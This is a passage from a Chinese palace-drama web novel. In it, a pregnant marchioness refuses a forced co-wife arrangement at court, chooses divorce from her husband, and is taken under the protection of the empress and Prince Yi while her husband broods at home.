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侧竟然是仪王端坐。
成安郡主见到他进到殿中,面色欢喜地站起来朝着他跑了两步,看到沈霜晚后便停下来哼了一声,没有再上前来。
他带着沈霜晚上前行礼,听着旁边叫起了,才站起身来。
他余光看到沈霜晚身形笨拙,正要转身去搀扶时候,有宫人拿着矮几上前来,扶了她过去坐下。
“永平侯夫人有孕,不必行礼了,就在一旁坐吧!”上首的皇后如此说道。
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沈霜晚谢过了皇后,在一旁坐下。
她感觉很是奇妙,她以为自己应当会有一些紧张和不知所措的,但此刻坐下,她竟然甚至感觉从容。
她抬眼看向了薛望,她又想起自己那些荒诞的梦,那些梦究竟是真还是幻,大约便就是会在今日应验了。
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上首的皇后说过那一句话后便不再多言,她招手让仪王靠过来,低语了几句,仪王便起身从宫人手里拿了一盏茶递了过去。
今上看着皇后与仪王,面上露出无奈又纵容的神色,便只好重新看向了另一边的太后和长公主。
武阳长公主看了成安郡主一眼,示意她退回到一旁去,又请示地看了一眼太后,才向薛望和沈霜晚开口道:“说来是件惭愧事,但为人父母也不能不坐视不理不管不顾,故而只好厚着脸皮请了侯夫人进宫来。”顿了顿,她并没有给沈霜晚答话的时间,而是继续说了下去,“我家那不争气的郡主,看上了永平侯年少英才,在家哭闹着要死要活非要嫁给他,我打也打了,骂也骂了,她是宁死也不愿意改变主意。人这一生或者难有一次执着的机会,这大约便就是我家郡主的劫数。”
沈霜晚静默听着,她再次看向了薛望,薛望低垂着眼眸,脸上显露着许多无措,显得十分无辜。她突然打量起了她成亲四年多的丈夫,他毫无疑问算是英武俊朗的,在过去的某一个瞬间她也为他有过一些心动,但那都是过去了。
上首武阳长公主还在继续说着。
她道:“……侯夫人与永平侯成亲多年,如今有孕在身,不如再加封一个郡夫人的诰命,如此与我家郡主也是平等了,届时便不分身份高低。”说到这里,她又看向了今上,柔声道,“皇兄,你看这样可好?便就赐个平妻,算是两全其美了。”
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平妻。
这两个字让沈霜晚心中剧烈震动着。
长公主还在说着什么,她已经无心去听。
她只知道梦中那些就是真的,平妻,果真便就是真的。
那无缘无故的梦,那荒谬到极点的梦,梦全都是发生过的事情,梦全都是真的。
她感到释然,这并非是她多疑多思,她所做的一切都是为了今日。
她典卖的书册有了最真实的意义。
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上首,武阳长公主面容和蔼地看向了她。
“侯夫人,你觉得如何呢?”长公主问,“若你有别的想法,但说无妨。这原本就是我家郡主妄为,我是不愿意你受委屈的。”
一旁的薛望也看向了她,他的眼中甚至有几分闪烁的委屈。
她扶着一旁的宫人站起身来,款款笑道:“妾很愿意成全郡主与永平侯,妾会与永平侯和离。”
17. 两全其美
殿中一片寂静。
除却成安郡主之外的所有人脸上都是惊讶与难以置信。
长公主提出的平妻已经是再好不过的条件,给她和郡主相当的诰命,再以平妻相处,她现在腹中有孕,将来不管生下的是儿是女,都足够成为她将来的倚仗。
但沈霜晚却选择的是与永平侯和离。
她难道有什么退路么?
沈家落败已久,方才今上询问沈家情形时候,想了许久才想起二十余年前的那位光州刺史沈令德。沈家之后再没有什么出息的年轻人了。
如今京中连沈家人都没有,她能去哪里?
难不成就挺着肚子在外头做弃妇?
那岂不是要把皇家的脸薛家的脸所有人的脸全部丢在地上踩?
这沈氏是想以退为进?
武阳长公主如此想着,又瞥见了女儿脸上显而易见的欢天喜地,皱起了眉头。
今上亦皱着眉头,这事情若是沈霜晚同意,他很愿意顺水推舟叫自家外甥女如愿,但若是沈霜晚不同意,他几乎能想象在朝堂上那些御史们要如何开始长篇大论的弹劾。于是他便问询地看向了一旁的皇后。
而皇后却使了个眼神,叫他去看一旁的太后。
今上转头,便见太后面色含着愠怒,显而易见是在为沈氏的话语而恼火。
太后身旁的武阳长公主祈求的目光也看了过来,她声音压得极低,问道:“皇兄,这可怎么办……总不能、总不能叫她真的和离吧?”
今上倒是有心成全,可他一时半会还不太想给自己找太多麻烦,便清了清嗓子,道:“既如此,这亲事便作罢。总不能叫朕为了外甥女就真的拆散了你们夫妻。”
这话叫成安郡主脸色一变,她祈求地看向了今上,眼中含泪:“舅舅……我……”
“你先别说话。”武阳长公主瞥了一眼今上神色,只叫成安郡主闭嘴。
成安郡主委屈地看了长公主一眼,不吭声了。
这时,太后却开了口。
太后道:“你可是有什么不满?是觉得郡夫人还不足够?想要压郡主一头才放心?”
长公主心中一震,心道还是太后看得真切,为何不是这沈氏想要压住她的嘉儿呢?若只是平妻,郡主天然身份贵尊,那沈氏必定害怕郡主压住了她。故而她说想和离并非真的想要和离,而是想要一个比郡主更高的身份。
可站在底下的沈霜晚却摇了摇头,她道:“妾并非是想要压郡主一头,妾只是想成全郡主的爱情,难道这是妾做错了么?”
这话竟是把太后也堵住,殿中复又安静了下来。
.
沈霜晚耳边那未知身份的声音正在喋喋不休。
那声音似乎发现了她真的想要与薛望分开,故而开始惊慌失措。
但她很平静,她甚至觉得如释重负。
她以为的梦就是真,她以为无法放下的就是可以放下,她以为前方是绝境但其实是生路,她在梦中纠结过的一切都不是无法解决的。
她并不需要忍耐,她也并不需要屈服后退。
她只要离开薛望就可以和梦中一切凄凄惨惨告别。
可再看一看殿中诸人神色,她心中又觉得好笑。
这殿中大约全是伪君子假道学。
从她的夫君薛望,再到上头的皇帝太后,无一例外。
他们难道不知道他们的宝贝郡主做了败坏道德卑鄙无耻之事?
他们心里清楚得很。
若是不知道还引以为荣,他们会大张旗鼓地宣扬并且高调地赐婚,而不是像今日这样找了她过来软硬兼施叫她把一切担下。
她看向了一旁的薛望,薛望站在那里,他的手握成拳,面色变得苍白,他也正看着她。
沈霜晚耳边那喋喋不休的声音开始不安和咆哮。
那声音道:“若惹恼了圣上和太后,最后连小命也没了,你竟是没听出他们的言外之意吗?”
若是要丢掉小命,要死一起死了,总之是比梦中那些憋屈要痛快。
沈霜晚在心中如此对那声音说道。
那声音终于是被噎住,再说不出话来。
.
上首仿佛置身事外的皇后终于开口打破了这令人尴尬难捱的寂静。
皇后问:“沈家如今在京中可还有人么?”
沈霜晚实话回答道:“已经无人了。”
皇后若有所思点了点头,接着又问。“那你离开永平侯府,是打算回去老家?沈家籍贯何处?”
“籍贯在越州,距京城千里之遥,妾应当不会立刻回老家去。”沈霜晚回答道。
“你身怀有孕也的确不宜远行。”皇后轻轻叹了一声,目光中带着怜悯,“你想成全了郡主,实在是心地善良的孩子。我倒是也真的信你不是想要什么更高的身份。”
皇后这话一出,一旁的太后长公主一行的脸色立刻变得难看起来。
成安郡主在一旁嘟着嘴巴想说话又不敢开口,朝着沈霜晚瞪了好几眼,见沈霜晚压根儿没注意到,只好气鼓鼓地重新又看向了长公主。
而今上却无知无觉,他应和着皇后的话点了点头,口中道:“朕亦这样以为。”
皇后把旁边的暗潮涌动都看在眼里,她拍了拍今上的手,笑着道:“这事情我以为还应当问问永平侯是什么意思。毕竟要娶郡主的是永平侯本人。若永平侯的确对郡主有意倒是也罢了,若永平侯本人也不愿意娶郡主,那为何要为难沈氏呢?”
今上赞同地再次点头,语气也轻快了起来,道:“还是皇后想得周到,朕向来对这些家长里短的事情感觉头疼。”
皇后笑了笑,道:“圣上要放在心里的事家国大事,这些鸡毛蒜皮的小事,实在也不应当闹到圣上面前来。”顿了顿,她便看向了薛望,和蔼问道,“永平侯,你喜欢成安郡主吗?”
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站在下方的薛望身形摇晃了一下,他再一次抬眼看向了沈霜晚。
皇后的问题他不想回答,甚至也不想面对。
可他又不能不回答。
这一瞬他想起许许多多的事情,他的名声他的前程,甚至还有他去仪王府求官受到的冷遇。他若回答不喜欢,成安郡主必定会感觉到羞辱,她也必定会在之后展开无穷无尽的报复;他若回答喜欢……他的妻子沈氏想要离开他。
心中种种难以言说的矛盾
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让薛望无法开口。
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等待了许久没有等到薛望的回答,皇后宽容地笑了笑,她转而看向了成安郡主。“嘉儿为何喜欢永平侯?我以为嘉儿会喜欢文弱一些的读书人。”她笑着说道,“今日之前却也没想过嘉儿竟然看上的是如此英武的郎君。”
成安郡主在皇后面前不敢像在长公主和太后面前那样撒泼,她乖巧回答道:“臣女便就是喜欢了……这大概便是戏文中常说的缘分吧!”
皇后笑了一声,并没有过多说什么,只重新又看向了沈霜晚,道:“你若离开了永平侯府,要如何生活呢?当初沈家给你备了多少嫁妆,可有良田商铺?压箱底的银钱有多少?现在可还够你吃穿用度?”
这问题在沈霜晚的意料之外,但她并不怎么慌张,只平静回答道:“妾出嫁时候因沈家变故,并无良田商铺陪嫁,只有古籍万册,家具数套,十分简薄。妾能识字,还做得一手好针线,就算离开了侯府也不必为了生计发愁,妾一双手能劳动,妾的双腿能行走,京城偌大,应容得下一个勤劳之人。”
一旁的太后冷哼了一声,道:“那你可曾想过,现在你是侯夫人,身边有仆从无数,离了侯府,便再无人伺候了?”
这殿中局势沈霜晚已然看清,她便回答太后道:“妾为了成全郡主与侯爷的缘分,有这点小小牺牲又如何呢?”
太后捂着心口拿起茶盏喝了口水,还想说什么,倒是被旁边的长公主给劝住了。
皇后面上浮出些许温和笑意,她道:“成全别人虽说是美德,但也实在不必太委屈了自己。”顿了顿,她正想着应当如何解决此事时候,余光突然扫到自己儿子放下茶盏站了起来。还来不及反应,她便听到她无法无天的儿子清了清嗓子就开了口。
“这样,表妹嫁这个什么永平侯,我娶这个沈姑娘,两全其美,不用再吵了!”仪王如此说道。
满室寂静。
今上面上是错愕,皇后满脸惊诧,一旁太后和长公主更是一脸空白,成安郡主更加是呆滞了一般不知如何反应。
薛望猛然抬头看向了仪王,又回头去看沈霜晚。
而沈霜晚皱了皱眉头,她看向了皇后身边衣着华贵的年轻郎君,确定自己并不认识他。
“莫要胡闹。”今上最先反应了过来,他有些后悔让皇后把仪王一并带到衍庆宫来了,“这是别人家家务事,你——哎你——”今上找寻了一下内侍宫人的身影,“来人,把晚膳给仪王送上来!”
一旁太后也忙道:“听说十一郎过来,我特地叫膳房做了你最喜欢的桂花糖藕,你尝一尝。”
长公主按住了女儿,不许她开口。
皇后则不动声色用帕子按了按嘴角,疑惑地看向了自己儿子,递给了他一个询问的眼神。
仪王对着自己母亲笑了笑,然后看向了今上,口中振振有词:“反正这个永平侯和表妹看起来是两厢情愿,这位姑娘又愿意成全了表妹的缘分,如今只剩下担心这位沈姑娘和离后无处可去,要我说不必这么迂回,我府上空荡得很,叫这姑娘到我府上便行了。剩下事情简单,表妹回去准备嫁人,永平侯回去把屋子腾开,再挑个良辰吉日,成亲便是了。”
18. 决定
仪王没想过自己有一天能在宫里看到一出强嫁有妇之夫还理直气壮高高在上的戏码。
一群人装腔作势惺惺作态,明知自己在做的事情见不得人,却又都不肯让恶名背负在自己身上,便为难一个弱女子。
还是一个怀孕的弱女子——他看向了沉默着没有说话的沈霜晚,目光在她显然凸起的肚子上停留了片刻,在心中如此修订了。
太后和长公主就不说了,太后向来护短,对长公主纵容也并非一两天一两次,她护着长公主和成安郡主仗势欺人实在是意料之中。若不是这次这事情实在是丢脸,太后也不太想自己一把年纪被人指指点点,恐怕老早就已经做好决定叫袁嘉儿嫁人了。
他的父皇更不用说,他的父皇因为长公主是唯一的同母妹妹的缘故,对他的这位姑母向来优待,爵位食邑都给得超出了其他宗亲,寻常事情上都不必长公主过多祈求,只需要她开口,他的父皇便会应下。若不是袁嘉儿这事情与薛望相关,说不定被御史们知道会群情激奋上书弹劾,他的父皇也老早就由着长公主施为,说不定还会主动开口说赐婚。
当然了,最可恶的并非他的父皇还有太后,最可恶的当然就是永平侯薛望。
薛望但凡说一句不喜欢,那袁嘉儿便只能回去找亲娘哭,她就算再如何跋扈,到底是个姑娘,哪里经得住对面说不喜欢的时候还硬是要强求?
可薛望偏偏就不说,他把所有拒绝理由都推给了沈氏,他大概是想着自己是无可奈何的,不过是被两个女人相互争夺的可怜虫,他所有决定都是由其他人做下的,与他半点关系都没有。他便就等着沈氏低头应允,做一个左拥右抱的美梦。
想到这里,他又再次看向了沈霜晚,若说今日有什么意想不到,那便全应在了这位看起来纤细柔弱的沈氏身上。
她竟然没有低头——这让他太意外了。
她不低头,便意味着她根本不在乎那些所谓的面子,她不打算成全那些心思叵测之人所谓的面子。
他向来欣赏这样的人,也正因为欣赏,他现在很愿意给这位无依无靠的沈氏一些帮助。
便就看在她敢阴阳怪气对着老太后说话的份上,他也要帮她一把。
而此刻殿中其他人已经被他刚才那一番话弄得十分尴尬起来,他们只沉默着,没有人再说什么——哪怕是袁嘉儿,尽管心中甚至欣喜,但她看一眼太后和长公主的神色就知道自己不应当多嘴。
.
今上拿起茶盏装作喝水,掩饰了一下自己神色,转头去看皇后,然后得到了一个爱莫能助的眼神。
放下茶盏,今上再看向自己儿子,只见他面前摆好了晚膳,而他正拿起筷子据案大嚼,似乎刚才大放厥词的不是他一样。
这事情当然不能像他这无法无天任性妄为的儿子那样想的处理,若如他那样说,明天京城的大街小巷就要开始流传皇家郡主不仅拆散人家夫妻还把好端端的妻子送到皇子亲王府上的故事。以京城里面凑热闹流传八卦的速度,最多半天,这破事就要变成皇家郡主和皇子亲王分别强占良家夫妇,然后再添加无数臆想出来的人物关系。
他不敢继续想下去了。
这简直比御史上书还让他发怵。
倒不如直接把这事情按下去,叫袁嘉儿去江南玩耍数月,说不定她在江南能遇到更中意的郎君,不必再纠缠在别人夫妻当中。
今上正心中筹算时候,一旁的仪王又开口了,他就吃了几块鱼片又喝了口汤,他这会儿伸了手,对着那沈氏道:“走吧,我吃饱了,跟我回宫了。”
今上突然感觉一口气有点喘不上来,他一拍桌子怒视自己的儿子:“赵弘美,不许捣乱了!”
他的儿子比他更理直气壮地站了起来,他道:“刚就说好了!我说了这个沈氏我要了!你们没人反对,那不就是我的吗!”
这话听得今上眼前发黑,一旁的皇后拍了一下他们任性妄为的儿子,又看向了他,柔声替他解围了:“这事情不能你一人说了算,总得问问永平侯和侯夫人的意思,成安郡主也没说愿不愿意呢,你一个人说了有什么用?”顿了顿,皇后便先看向了薛望,温和问道,“叫你娶郡主,你可愿意?”
.
薛望有些说不清自己到底是什么感想了。
他觉得自己脑子里简直是一片空白。
为什么仪王突然跳出来说要沈霜晚?他们见过吗?
若沈霜晚去了仪王府上,那他儿子怎么办呢?到时候生在仪王府,算谁家的人?
并且——沈霜晚会想去仪王府上吗?
他再一次看向了沈霜晚。
这一晚上他无数次看向她,但她并没有给过他任何回应。
他开始感觉到烦闷,他想起他和沈霜晚这几年的夫妻种种。
她是怨恨他的吗?所以今日才会那样决绝地表示可以退出愿意成全郡主?
可他不曾做过什么对她不好的事情啊!
怨恨从何而来呢?
或者是因为朱氏的缘故?
他承认朱氏或者有那么一些苛刻和挑剔,但……这世上哪里有如亲生母亲一样的婆婆?这世上的婆媳关系不都是那样的吗?
他深深看着沈霜晚,他无心去回答皇后的问题,他现在只想知道他的妻子心中到底是如何想的。
她会愿意去仪王府上吗?
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皇后看着薛望那呆愣的样子,没有因为他闭嘴不言而生气,便就顺着看向了沈霜晚。
“沈氏,你愿意去我儿子府上暂住么?他府上宽敞,平日里倒是果真没什么人敢打扰,你若想去,我便叫人接你过去。”皇后如此说道。
沈霜晚看了眼薛望,又低头看了眼自己隆起的小腹,再看一眼面上已经露出得色的成安郡主,她心中的决定来得快极了。
她道:“多谢娘娘和殿下能为妾提供栖身之所,妾感激不尽。”
皇后露出笑容来,她再扫了一眼成安郡主,道:“嘉儿自然是愿意的,对不对?”
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成安郡主羞涩地点了头,道:“舅妈最明白我的心思。”
“那便就这样了吧,折腾一晚上,总算也有个结果。”皇后扶着一旁仪王站起来,“沈氏我就带走了,其他的事情我便不再过问。”
今上露出难为神色,但再看一眼皇后和仪王,还有一旁已经开始傻乐起来的袁嘉儿,也把心思转了过来——皇后说的是仪王替她提供栖身之所,这样便成了皇后庇护了受到欺凌的妇人,这事情便与仪王没什么关联,最多也就是传一传长公主府上的闲话了。
想到这里,今上面色轻快起来,他向一旁内侍道:“去叫肩舆来送一送皇后。”
内侍应了一声,忙跟了出去。
皇后慢慢走到沈霜晚面前,她和善地笑了笑,拉住了她的手,道:“今日便先就在我宫里歇着,明日我派人跟着你去永平侯府上收拾东西。”
沈霜晚虽然不知道为何皇后和仪王愿意对她伸出援手,但她再三谢过,然后跟在了皇后身侧往外走去了。
薛望露出茫然神色,他追着沈霜晚跑了几步想拉住她问个明白,但被一旁的宫人拦住。
上首的太后看向长公主,道:“暂时还是不要赐婚了。且再等一等再说。”
长公主惊魂不定地点头应下,道:“我明白的。”
今上倒是不以为意,他甚至笑了笑,道:“赐婚的事情的确不必太急,等合了八字,再算了良辰吉日,再下旨也不迟。”
唯一高兴的大约只有成安郡主袁嘉儿,她挨着长公主坐着,又去看薛望,她已经开始畅想将来了。
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衍庆宫外,沈霜晚跟在皇后身侧一起慢慢朝着长宁宫方向走,内侍传来的肩舆跟在身后,而仪王还要落在更后面一些,在和内侍点评着晚膳的菜品,并叮嘱内侍一定要去膳房和师傅说一说。
沈霜晚忍不住竖着耳朵偷听了一会,只觉得这位殿下舌头实在挑剔。
那莫名声音在她耳边再次尖叫咆哮起来,这次在说的是那位殿下斑斑劣迹,简直是最无耻的狂徒,任性妄为放诞不羁肆无忌惮,这世上若有最不能托付的男人,那便就是这位仪王。
沈霜晚若有所思地回头看了一眼那位舌头挑剔的郎君,心想原来这就是那位大名鼎鼎仪王,久闻不如见面,与她心中所想的样子、从前薛望描述过的样子简直大相径庭。
这时,皇后突然笑了一声,她看向了沈霜晚:“这儿没有旁人了,你与我说说,为何不愿意继续做永平侯夫人了?在我看来,大多数女人处在你的位置上都会接受平妻的条件。”
沈霜晚回过神来,她忽略脑海中那咆哮的莫名声音,看向了皇后。她认真想了想,才开口道:“是因为我其实不怎么喜欢侯府。”
这句话说出口,沈霜晚突然意识到她对薛家的厌恶其实和父亲去世后的沈家没有两样。
她想起那已经被证实是真实的梦,她从一开始便相信了梦,便就是因为她心底藏着对薛家、对薛望的厌恶吧!
19. 不眠夜
薛望一颗心全被茫然占据。
他从未感觉到如此无措,哪怕是父亲薛聿去世那年,他也不曾有过这样的惶然。
他应当怎么办?
当真就由着沈霜晚离开他?
单单只在心里想到这句话他就感觉到一阵一阵的窒息。
他的妻子,竟然要怀着孕,去跟着另一个男人?
他日京中人要如何评价他?
这算不算是奇耻大辱?
他眼前一阵阵晕眩,但他却也知道此时不能外露任何不满,上头今上太后尚在,长公主和成安郡主也正看着他。
他总不能、总不能丢了妻子,还丢了郡主吧?
那他岂不是要一无所有还要被人笑话?
只是……他慢慢冷静下来。
这事情到如今已经成了一桩彻彻底底的丑事。
他也许真的无法得到郡主,因为谁也不想因为这丑事被人含沙射影指桑骂槐。
想到这里,他试探着看向了成安郡主,成安郡主也正含情脉脉地看着他。
.
“永平侯先回去吧!”上头的今上突然发话了。
薛望回过神来,便低头应是。
“舅舅,我要送他。”成安郡主站起来了,她眼睛亮晶晶的,面上也浮现着显而易见的欢喜。
今上笑了一声,淡淡道:“去吧。”
于是薛望便看着成安郡主几步就到他面前来,然后他跟着郡主一起转身往外走去。
两人一前一后出了大殿,行到外间。
夜幕已经完全降临,满天星辰闪烁,银河倒悬。
成安郡主命宫人们退得远了些,然后放慢脚步看向了薛望,她面上有一些委屈,口中道:“所以你今日却没说过,你是不是真的想娶我。”
薛望居高临下看着郡主,却想起来他未曾从沈霜晚面上见过这样讨好撒娇的神色,沈霜晚总是淡淡的,她似乎有许多愁绪,有些话她是从来都不说的。
“你怎么不说话?”成安郡主有些不高兴了,“你要是后悔,就去舅妈那里把沈氏接回去好了!”
薛望回过神来,他忙道:“我当然想与郡主在一起,只是……我在想一些事情。”
“在想什么?”成安郡主追问。
薛望道:“我在想,沈氏被仪王殿下接走,以仪王殿下的性子……这事情恐怕不能善终。”
成安郡主撇了下嘴,道:“十一哥就是那样的性子,他今日说得兴起,说不得明日就撂开了。他反正不在乎这些事情。”
薛望点了点头,只顺着成安郡主的话说:“我只是担忧,我倒是无所谓了,只怕有些话落在郡主身上不好听。”
成安郡主道:“我最不爱搭理那些多嘴多舌的人,你也不要理他们就是了。”
这话叫薛望有些心绪不宁,他却不好表露,只道:“我知道。”
“那你早些回去吧,明日我差人接你去。”成安郡主笑着说道。
已经走到了宫门口,薛望便应下来,辞别了成安郡主,跟随宫人一起朝着宫外走去。
.
夜幕下的宫中比宫外要安静许多。
没有夜市上人来人往的喧哗,也没有酒肆勾栏的低吟浅唱,只有宫人手里点亮的风灯,还有安静细碎的脚步声。
薛望朝着长宁宫的方向眺望,离得太远,只能看到夜幕中巍峨殿阁森森轮廓,仿佛一只巨兽。
他忍不住去想沈霜晚。
沈霜晚在想什么?
她想做什么?
她真的想离开他吗?
若他舍下一切苦求,她会愿意回来吗?
跨出宫门的瞬间,他心中突然涌起了许多龌龊难言的想法,他甚至在想,若沈霜晚被今上看中了呢?她是不是愿意进宫做娘娘?
晚风冷冷拍打在他脸上,他不得不清醒过来。
侯府的马车还等在宫门外面。
长随上前来,手里拿着厚氅衣和披风,他伸头往薛望身后看了一眼,有些疑惑:“侯爷,夫人呢?”
薛望不想与长随多说什么,只摆了摆手示意他不要多说。
长随看着薛望神色,一肚子疑惑不敢多嘴,只扶着薛望上了马车。
薛望沉默地上了马车,刚坐定就看到在矮几上落下的一支发梳与几只小珠簪,这应是沈霜晚进宫路上还叫人帮忙理了发髻。
他拿起那发梳,上面有缠绕着的青丝。
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回到府中时候已经过了二更。
朱氏还没歇下,差了人在前面等候着。
薛望倒是想直接回正院直接躺下当做什么事情都没发生过一觉睡到天亮,但已经发生了的事情容不得他逃避,他得有个应对。
他便叫人先去回了朱氏,自己去换了身衣服才往西院去。
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朱氏已经从下人口中知道沈霜晚没有跟随一起回来的事情。她下午时候便对薛望和沈霜晚先后进宫的事情有许多猜测,这会再听说沈霜晚没回来,心中忽然有一些忧虑了。
看到薛望从外面进来,朱氏便直接遣了下人出去。
小几上有没用过的茶点,薛望坐下后便先喝了口水。
“宫里出了什么事情?”朱氏直截了当问道,“沈氏为何没有回来?”
薛望放下茶盏,看了朱氏一眼,道:“沈氏在皇后那里。”
“皇后?”朱氏有些不解,“所以是出了什么事情?”
薛望叹着气,把衍庆宫的事情简单说了一回,最后道:“现在沈氏在皇后那里,之后或许会去仪王府上吧!也不知会不会回来了。”
这事情听得朱氏眉头紧皱,她道:“这仪王怎么……怎么是这个性子?这事情与他有什么关系?他站出来打什么抱不平?”
薛望道:“仪王向来如此,圣上都不舍得说重话的。”
朱氏叹了口气,又问道:“那沈氏究竟……她难道真的要去仪王府上?”
薛望不语。
朱氏看了薛望一眼,道:“早知如此,还不如便依着我之前所说那样了,何必留到现在?丧妻总比妻子跟着别人跑了好听吧!”
薛望道:“她肚子里还有我儿子呢!”
朱氏嗤道:“只要你愿意,多少儿子是得不到的?我看你不过就是被沈氏美色所迷。”
这话叫薛望又皱起眉头来,他看向了朱氏,道:“那仪王会不会是因为也是被沈氏的美色所迷呢?”
朱氏撇了下嘴,道:“仪王多少女人得不到,非得要个怀孕的?”
薛望面上沮丧颇多,他道:“沈氏若愿意回头,我是希望她回来的。”
朱氏想了想,这回倒是同意了薛
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望的想法,她道:“她回来的确是好事,至少不会被人指指点点,想来皇后也会劝一劝她。”
薛望长叹了一声,道:“我不知她为何竟那样狠心。”
朱氏则道:“说不定是想攀高枝了,看不起你这个永平侯。”
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长宁宫中,沈霜晚被宫人引着进到了侧殿中。
几案上摆好了数个大食盒,宫人恭敬道:“皇后娘娘说已经过了晚膳的时候,夫人可随便用一些垫垫肚子,夫人有孕在身,若有不适口的可尽管开口。”
沈霜晚有些受宠若惊,她忙道:“谢过娘娘恩典。”
宫人们上前来把食盒一一打开,再把里面的饭食都取出来摆好,然后便安静退到了殿外。
殿中没有旁人了,沈霜晚忽地觉得松了口气一般,她慢慢扶着凭几坐下来。
饭菜都还是热腾腾的,三道时蔬,三道肉菜,还有一荤一素两份汤。
沈霜晚没什么胃口,但她抚着已经隆起的肚子,还是拿起筷子简单吃了一些。
她耳边那身份不明的声音已经从咆哮渐渐恢复了平静。
那声音问:“难道你真的要跟着仪王?那你肚子里的孩子将来怎么办?”
沈霜晚夹起玉兰片,没有理会那声音。
那声音道:“仪王是什么性子你不知道?他当初为了和王妃和离,从好好的亲王降位成了郡王,若不是两年前太子没了,他都不会重新被封为仪王。他疯癫心狠,不择手段,决不是良配。”
疯癫心狠?
沈霜晚有些漠然地又吃了一片牛肉,她想起梦里她遭受过的那些事情,她最后为了自己女儿四处祈求时候,也被评价为疯癫。
大约是只要不符合世人所想的那样行为,便会被说是疯癫吧!
那声音又道:“你若不信,不妨去打听杨国舅家的女儿,他的前王妃便是他的亲表妹。”
沈霜晚吃了个八分饱放下了碗筷,殿外的宫人很快便进来把几案收拾干净,又问她现在可要沐浴。
那声音还在锲而不舍道:“今日在宫中,明日便回家去吧!”
沈霜晚仍然不搭理他,只向宫人点头。
宫人便引着她到后殿去沐浴。
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另一边,仪王也正和皇后一起用晚膳。
仪王胃口好,把桌上的饭菜吃了个七七八八才停下筷子来,接着又叫人上了一大碗消食茶捧着喝。
皇后不赞同地看了他一眼,道:“吃太多了,下次不能这样。”
仪王嘿嘿一笑,道:“今天高兴嘛!”
皇后淡淡看了他一眼,道:“所以真打算让沈氏去你府上?”
“为什么不?”仪王喝了一大口消食茶,又坐直了看向了皇后,“平日里太后也好长公主也好不老是在说我府上没个女人没人主事?现在那沈氏正好,到我府上去主事。”
皇后拿着筷子的手停顿了一下,重新又看向了自己儿子:“认真的?”
仪王道:“当然认真的,我看沈氏从前在侯府也是夫人会打理内宅,现在不过是换到我的内宅,她不应当不会吧?”
皇后盯着儿子看了一会,最后只淡淡道:“既然你决定了,便依着你意思吧!不过沈氏十分可怜,你不要欺负了她。”
“我知道,我当然知道。”仪王回答。
20. 各有所思
沈霜晚在脑海中那喋喋不休的声音中睡去了。
也不知是否因为她已经和梦境中做出了不一样的选择,或者是因为她离开了薛家,她这一夜没有做任何梦。
同样的一夜,却有人辗转难眠。
薛望躺在正院的床上,床边的架子上搭着沈霜晚还未收拾的衣裳。
房中处处是沈霜晚的影子,有她没做完的绣件,有她还在看的书册,还有她精心装点的摆件。
他想着朱氏的话,朱氏说他被美色所迷,说沈霜晚老早就想攀高枝了。
他又想起他与沈霜晚在这个房间中度过的这几年,他突然感觉到朱氏的刻薄。
他从床上坐起来,外间的丫鬟们听到动静小心地提着灯进来询问:“侯爷是要喝水吗?”
他看了一眼进来的人,认出是上回去到他书房的那一个,应是叫承月。
“你过来,我问你些事情。”薛望看着她。
承月低着头上前来把里间的灯烛都点上,然后乖觉退到一旁站定:“侯爷请说。”
薛望有些意外这承月如此避嫌的样子,他想起那日他与沈霜晚说过的话,想着大概是沈霜晚说过她几句,所以她才这般战战兢兢。想到这里,薛望再看承月,便只觉得有些意兴阑珊了。
“最近夫人心情如何?”薛望问。
承月小心看了薛望一眼,道:“夫人最近和从前没什么两样,之前还有许多兴致带着奴婢们把各处清理了一番,把屋子里面陈设换了换呢!”
听着这话,薛望便又朝着外间看了看,他倒是没看出来到底有什么不一样。
“你还替夫人典卖过几次书。”薛望突然想起来这事情,“老夫人克扣正院用度了?”
这事情他问过沈霜晚,不过那时候他们没说几句就绕到了金簪上头,两人明里暗里争了几句,便没有继续追问下去了。
“正院用度没怎么变过。”承月老老实实回答道。
“用度没变,其他的呢?老夫人那边有人过来欺负夫人吗?”薛望问。
承月想了想,道:“夫人只有一次与老夫人身边丛燕吵过,后来丛燕也不怎么过来了。”
“是什么事情,说给我听一听。”薛望忽然发现他的后院中其实有许多事情他都是不知道的,只要沈霜晚和朱氏有心想瞒,他便永远不会知晓。
承月道:“就是有一次丛燕替老夫人过来送燕窝,非要看着夫人当场喝,夫人不愿意便说了丛燕几句。后来丛燕也没有再来过了。”
“老夫人为何要给夫人送燕窝?”薛望没有从朱氏那里听说过这件事情。
承月道:“奴婢也不知道,那是夫人刚有孕的时候,也许是想让夫人补一补身子吧!”
薛望想起来朱氏曾经说过的那些可怕的话语,朱氏曾经说过不如让沈霜晚死掉。是否朱氏和沈霜晚之间老早就有过交锋,只是朱氏未曾得手,只是沈霜晚侥幸躲过?
“还有什么别的事情么?”他又问。
承月摇了摇头,道:“侯爷这几个月在府里,老夫人也没怎么差人到正院来。”
薛望叹了一声,看向了承月:“夫人对你们如何?”
承月道:“夫人对奴婢们向来是和善的。”说到这里,承月小心地看了薛望一眼,忍不住问,“侯爷,今日为何夫人没有回来?”
“若夫人以后都不回来了呢?”薛望不答反问。
承月微微一惊,却是猛然想起来之前沈霜晚问过她的话,沈霜晚问她愿不愿意放了奴籍出府去,那时候她回答,她不知道不做奴婢还能做什么,后来沈霜晚便没有再问过了。她突然心中隐隐约约有一些猜测,却并不敢流露出来。
“为何夫人……不回来?”她小心翼翼看着薛望。
“我也想知道,为何夫人要与我分开。”薛望索性站起身,他慢慢往外走,然后坐到了平日沈霜晚看书做绣件的位置上,他随手拿起了一卷书翻了一翻,似乎是他从未看过的那些闲书。
“叫厨房送几样适口的饭菜过来。”他放下了手中的书,“今天一天也没吃什么东西。”
承月忙应下,退到外面去吩咐了下人。
屋子里面,薛望翻过那些闲书,又看到笸箩里面没做完的一件衣服,衣角有绣花。
他似乎并无法拼凑出来沈霜晚每日究竟是怎样度过,她会看书,会做衣服,然后呢?便就那样一日复一日坐在屋子里面么?
他仿佛记得她是会丹青,但他很久没见过她铺开桌子画画。
她在他心中似乎是个朦胧又模糊的影子,他没有真正看清过她。
所以今日他无法理解为何她会选择和他离开。
她和他是结发夫妻,在今日之前,他从来没想过与她分开。
不过,她一定还会回来,至少……她和他之间到现在还是夫妻,或许皇后会劝她,或许仪王也不过只是嘴上的一时兴起。
想到这里,他心中总算有了那么一些振作。
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同样的夜晚,成安郡主的欢喜溢于言表。
她已经在屋子里面试过了两三套衣服,又命丫鬟们把首饰翻出来,要在头上试戴。
武阳长公主从外面进来,满脸疲惫,摆了摆手让丫鬟们下去。
